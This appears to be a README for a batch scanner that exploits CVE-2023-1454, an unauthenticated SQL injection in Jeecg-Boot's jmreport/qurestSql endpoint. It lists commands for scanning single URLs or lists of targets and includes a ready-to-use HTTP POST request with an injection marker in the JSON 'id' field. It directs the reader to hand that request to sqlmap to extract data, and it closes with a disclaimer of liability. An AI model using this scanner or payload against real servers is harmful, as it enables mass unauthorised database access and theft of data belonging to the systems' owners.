CVE-2023-1454

jmreport/qurestSql Unauthorized SQL Injection Batch Scan POC Jeecg-Boot is a rapid development platform based on Spring Boot and Jeecg-Boot-Plus. The latest jeecg-boot 3.5.0 has been exposed to multiple SQL injection vulnerabilities.

Description

Original tool URL

The original tool had a high false positive rate. I modified some judgment conditions and optimized the code.

Tool Usage

python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 Single URL test

python3 CVE-2023-1454-scan.py -f url.txt Batch scan

After the scan, a vuln.txt file containing vulnerable URLs will be generated in the current directory.

poc:

exp:

Save the packet as a txt file and use sqlmap to obtain data.

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}

Disclaimer

Any direct or indirect consequences and losses caused by the dissemination or use of the information provided in this article shall be borne by the user. The author assumes no responsibility for such consequences.